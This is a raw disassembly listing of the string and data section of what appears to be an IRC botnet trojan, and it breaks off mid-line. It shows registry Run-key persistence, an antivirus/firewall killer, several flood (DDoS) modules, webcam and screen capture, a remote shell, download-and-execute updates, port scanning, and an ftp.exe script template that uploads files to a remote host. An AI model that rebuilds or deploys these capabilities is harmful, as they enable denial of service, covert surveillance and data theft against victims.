aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd 0 dd offset dword_43D128 dd offset aAdministrato_0 ; "administrator" align 10h dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:00429228o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429548: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_429998: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 